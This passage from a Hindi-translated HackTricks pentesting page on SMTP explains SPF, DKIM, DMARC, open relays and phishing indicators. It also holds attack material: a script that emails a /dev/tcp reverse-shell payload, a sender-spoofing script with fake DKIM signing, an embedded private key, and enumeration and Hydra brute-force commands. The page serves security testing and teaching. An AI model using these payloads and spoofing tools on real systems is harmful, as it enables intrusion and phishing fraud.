lhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”

payload

message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))

print(“[*] Payload is generated : %s” % message)

msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print(“[-]Connection Error”) exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg[‘From’], password)

server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()

print(“[***]successfully sent email to %s:” % (msg[‘To’]))

</details>

## SMTP Smuggling

SMTP Smuggling vulnerability ने सभी SMTP protections को बायपास करने की अनुमति दी (सुरक्षाओं के बारे में अधिक जानकारी के लिए अगला सेक्शन देखें)। SMTP Smuggling के बारे में अधिक जानकारी के लिए देखें:

<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>

## Mail Spoofing Countermeasures

संगठनों को उनके नाम पर अनधिकृत ईमेल भेजे जाने से रोकने के लिए **SPF**, **DKIM**, और **DMARC** का उपयोग किया जाता है, क्योंकि SMTP संदेशों को spoof करना आसान है।

A **complete guide to these countermeasures** is made available at [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

> [!CAUTION]
> SPF [was "deprecated" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). This means that instead of creating a **TXT record** in `_spf.domain.com` you create it in `domain.com` using the **same syntax**.\
> Moreover, to reuse previous spf records it's quiet common to find something like `"v=spf1 include:_spf.google.com ~all"`

**Sender Policy Framework** (SPF) एक मैकेनिज्म है जो Mail Transfer Agents (MTAs) को यह सत्यापित करने में सक्षम बनाता है कि क्या कोई host भेजने के लिए प्राधिकृत है, यह सत्यापन उन mail servers की सूची को क्वेरी करके किया जाता है जो संगठन द्वारा परिभाषित होते हैं। यह सूची, जो IP addresses/ranges, domains, और अन्य entities शामिल करती है जो किसी domain name की ओर से ईमेल भेजने के लिए **authorized** हैं, SPF रिकॉर्ड में विभिन्न "**Mechanisms**" शामिल करती है।

#### Mechanisms

From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):

| Mechanism | Description                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | हमेशा match होता है; आमतौर पर default result के लिए उपयोग होता है जैसे उन सभी IPs के लिए `-all` जो पहले के mechanisms से मैच नहीं हुए हैं।                                                                                                                                                                                             |
| A         | यदि domain name का address record (A या AAAA) sender के address में resolve हो सकता है, तो यह match करेगा।                                                                                                                                                                                                                            |
| IP4       | यदि sender दिए गए IPv4 address range में है, तो match करेगा।                                                                                                                                                                                                                                                                         |
| IP6       | यदि sender दिए गए IPv6 address range में है, तो match करेगा।                                                                                                                                                                                                                                                                         |
| MX        | यदि domain name का MX record sender के address पर resolve होता है, तो यह match करेगा (यानी mail domain के किसी incoming mail server से आ रही है)।                                                                                                                                                                                   |
| PTR       | यदि client के address के लिए domain name (PTR record) दिए गए domain में है और वह domain name client के address पर resolve करता है (forward-confirmed reverse DNS), तो match होगा। यह mechanism discouraged है और जहां संभव हो, इसे टाला जाना चाहिए।                                                                                      |
| EXISTS    | यदि दिया गया domain name किसी भी address पर resolve होता है, तो match होगा (चाहे वह किसी भी address पर resolve हो)। यह शायद ही कभी उपयोग होता है। SPF macro language के साथ यह और जटिल मिलान जैसे DNSBL-queries की अनुमति देता है।                                                                                                 |
| INCLUDE   | किसी अन्य domain की policy को reference करता है। यदि उस domain की policy पास होती है तो यह mechanism पास माना जाता है। हालांकि, यदि included policy fail होती है, तो processing जारी रहती है। किसी अन्य domain की policy को पूरा रूप से delegate करने के लिए, redirect extension का उपयोग करना चाहिए।                                      |
| REDIRECT  | <p>एक redirect दूसरे domain name की ओर pointer होता है जो SPF policy होस्ट करता है, यह multiple domains को एक ही SPF policy साझा करने की अनुमति देता है। यह तब उपयोगी है जब बहुत सारे domains एक ही email infrastructure साझा करते हैं।</p><p>Redirect Mechanism में संकेतित domain की SPF policy उपयोग की जाएगी।</p> |

यह भी संभव है कि आप **Qualifiers** पहचानें जो यह संकेत देते हैं कि **यदि कोई mechanism match होता है तो क्या किया जाना चाहिए**। डिफ़ॉल्ट रूप से, **qualifier "+"** का उपयोग होता है (तो यदि कोई भी mechanism match होता है, तो वह allowed माना जाता है)।\
आप आमतौर पर **प्रति SPF policy के अंत में** कुछ इस तरह देखेंगे: **\~all** या **-all**. यह दर्शाने के लिए उपयोग होता है कि **यदि sender किसी भी SPF policy से मेल नहीं खाता है, तो आपको ईमेल को untrusted (\~) के रूप में टैग करना चाहिए या ईमेल को reject (-) करना चाहिए।**

#### Qualifiers

नीति के भीतर प्रत्येक mechanism को अपेक्षित परिणाम को परिभाषित करने के लिए चार qualifiers में से किसी एक से prefix किया जा सकता है:

- **`+`**: PASS result के अनुरूप। डिफ़ॉल्ट रूप से mechanisms इसी qualifier को मानते हैं, इसलिए `+mx` और `mx` समान हैं।
- **`?`**: NEUTRAL result का प्रतिनिधित्व करता है, जिसे NONE (कोई विशेष नीति नहीं) के समान माना जाता है।
- **`~`**: SOFTFAIL को दर्शाता है, जो NEUTRAL और FAIL के बीच मध्यम ग्रेड है। इस परिणाम वाले ईमेल आम तौर पर स्वीकार किए जाते हैं पर उन्हें चिह्नित किया जाता है।
- **`-`**: FAIL को सूचित करता है, यह सुझाव देता है कि ईमेल को outright reject कर देना चाहिए।

आगामी उदाहरण में, **google.com की SPF policy** दिखाई गई है। ध्यान दें कि पहले SPF policy के भीतर विभिन्न domains की SPF policies की inclusion भी है:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

पारंपरिक रूप से, किसी भी domain name को spoof करना संभव था जिसका सही/कोई SPF record नहीं था। Nowadays, अगर email किसी domain without a valid SPF record से आता है तो वह संभवतः rejected/marked as untrusted automatically हो जाएगा।

To check the SPF of a domain you can use online tools like: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM का उपयोग outbound emails पर साइन करने के लिए किया जाता है, जिससे external Mail Transfer Agents (MTAs) द्वारा DNS से डोमेन की public key प्राप्त करके उनका सत्यापन किया जा सके। यह public key डोमेन के TXT record में स्थित होती है। इस key तक पहुँचने के लिए selector और domain name दोनों पता होना चाहिए।

उदाहरण के लिए, key को अनुरोध करने के लिए domain name और selector आवश्यक होते हैं। इन्हें mail header DKIM-Signature में पाया जा सकता है, जैसे d=gmail.com;s=20120113।

A command to fetch this information might look like:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (डोमेन-आधारित मैसेज प्रमाणीकरण, रिपोर्टिंग और अनुरूपता)

DMARC, SPF और DKIM प्रोटोकॉल्स के ऊपर बनकर ईमेल सुरक्षा को बढ़ाता है। यह नीतियाँ निर्धारित करता है जो किसी विशिष्ट डोमेन से आने वाले ईमेल्स की हैंडलिंग में मेल सर्वरों को मार्गदर्शन देती हैं — इसमें प्रमाणीकरण विफलताओं से निपटने का तरीका और ईमेल प्रोसेसिंग कार्रवाइयों के बारे में रिपोर्ट कहाँ भेजनी है शामिल है।

To obtain the DMARC record, you need to query the subdomain _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC टैग

सबडोमेन के बारे में क्या?

स्रोत here.
आपको प्रत्येक सबडोमेन के लिए अलग SPF रिकॉर्ड होना चाहिए जिससे आप मेल भेजना चाहते हैं।
निम्न मूलतः openspf.org पर पोस्ट किया गया था, जो इस तरह की जानकारी के लिए पहले एक बहुत अच्छा स्रोत था।

Demon प्रश्न: सबडोमेन के बारे में क्या?

अगर मुझे pielovers.demon.co.uk से मेल मिलता है, और pielovers के लिए कोई SPF डेटा नहीं है, तो क्या मुझे एक स्तर ऊपर जाकर demon.co.uk के लिए SPF टेस्ट करना चाहिए? नहीं। Demon पर हर सबडोमेन एक अलग ग्राहक होता है, और हर ग्राहक की अपनी नीति हो सकती है। यह तर्कसंगत नहीं होगा कि Demon की नीति डिफ़ॉल्ट रूप से उसके सभी ग्राहकों पर लागू हो; अगर Demon ऐसा करना चाहता है, तो वह हर सबडोमेन के लिए SPF रिकॉर्ड सेट कर सकता है।

इसलिए SPF प्रकाशित करने वालों के लिए सलाह यह है: जिन भी सबडोमेन या होस्टनाम का A या MX रिकॉर्ड है, उनके लिए आपको एक SPF रिकॉर्ड जोड़ना चाहिए।

जिन साइट्स के पास wildcard A या MX रिकॉर्ड हैं, उनके पास भी एक wildcard SPF रिकॉर्ड होना चाहिए, स्वरूप: * IN TXT “v=spf1 -all”

यह समझ में आता है — एक सबडोमेन भौगोलिक रूप से अलग स्थान पर हो सकता है और उसकी SPF परिभाषा काफी अलग हो सकती है।

Open Relay

ईमेल भेजते समय यह सुनिश्चित करना महत्वपूर्ण है कि उन्हें spam के रूप में चिह्नित न किया जाए। यह अक्सर प्राप्तकर्ता द्वारा भरोसा किए गए relay server के उपयोग से हासिल किया जाता है। हालाँकि, एक सामान्य चुनौती यह है कि administrators यह पूरी तरह से नहीं समझ पाते कि किन IP ranges को allow करना सुरक्षित है। इस समझ की कमी के कारण SMTP server सेटअप में गलतियां हो सकती हैं, जो सुरक्षा आकलनों में अक्सर पहचाना गया जोखिम है।

कुछ administrators ईमेल डिलीवरी समस्याओं से बचने के लिए, विशेषकर संभावित या चल रहे क्लाइंट्स के साथ संचार के मामले में, एक workaround के रूप में allow connections from any IP address कर देते हैं।
यह SMTP server के mynetworks parameter को सभी IP addresses स्वीकार करने के लिए configure करके किया जाता है, जैसा नीचे दिखाया गया है:

mynetworks = 0.0.0.0/0

यह जांचने के लिए कि कोई मेल सर्वर एक open relay है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल फॉरवर्ड कर सकता है), आमतौर पर nmap टूल का उपयोग किया जाता है। इसमें इसे टेस्ट करने के लिए एक specific script शामिल है। किसी सर्वर (उदाहरण के लिए IP 10.10.10.10) के पोर्ट 25 पर verbose scan करने का command nmap का उपयोग करके है:

nmap -p 25 -v --script smtp-open-relay 10.10.10.10

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

उपकरण

• https://github.com/serain/mailspoof SPF और DMARC के गलत कॉन्फ़िगरेशन की जाँच करें
• https://pypi.org/project/checkdmarc/ SPF और DMARC कॉन्फ़िगरेशन स्वतः प्राप्त करें

Spoof Email भेजें

• https://www.mailsploit.com/index
• http://www.anonymailer.net/
• https://emkei.cz/

या आप किसी उपकरण का उपयोग कर सकते हैं:

• https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Warning

यदि आप कुंजी को पार्स करते समय error using in the dkim python lib जैसी कोई त्रुटि प्राप्त करते हैं तो आप नीचे दिए गए वाले का उपयोग कर सकते हैं।
नोट: यह केवल त्वरित जाँच करने के लिए एक अस्थायी फिक्स है, उन मामलों के लिए जहाँ किसी कारण से openssl private key cannot be parsed by dkim।

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

या आप इसे मैन्युअली कर सकते हैं:

# This will send an unsigned message
> mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
> 

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

अधिक जानकारी

इन सुरक्षा उपायों के बारे में अधिक जानकारी के लिए देखें https://seanthegeek.net/459/demystifying-dmarc/

अन्य phishing संकेत

• डोमेन की आयु
• Links pointing to IP addresses
• Link manipulation techniques
• संदिग्ध (असामान्य) संलग्नक
• टूटी हुई ईमेल सामग्री
• उपयोग किए गए मान जो मेल हेडर के मानों से भिन्न हैं
• एक वैध और भरोसेमंद SSL certificate का अस्तित्व
• पृष्ठ का वेब कंटेंट फ़िल्टरिंग साइटों पर सबमिशन

SMTP के माध्यम से Exfiltration

यदि आप SMTP के माध्यम से डेटा भेज सकते हैं read this.

कॉन्फ़िग फ़ाइल

Postfix

आम तौर पर, यदि स्थापित है, तो /etc/postfix/master.cf में उन चलाने के लिए स्क्रिप्ट्स होते हैं जिन्हें उदाहरण के लिए जब किसी उपयोगकर्ता को नया मेल प्राप्त होता है चलाया जाता है। उदाहरण के लिए लाइन flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} का अर्थ है कि /etc/postfix/filtering चलाया जाएगा अगर उपयोगकर्ता mark को नया मेल प्राप्त होता है।

Other config files:

sendmail.cf
submit.cf

संदर्भ

• https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
• https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/
• 0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM
• https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/

HackTricks स्वचालित Commands

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।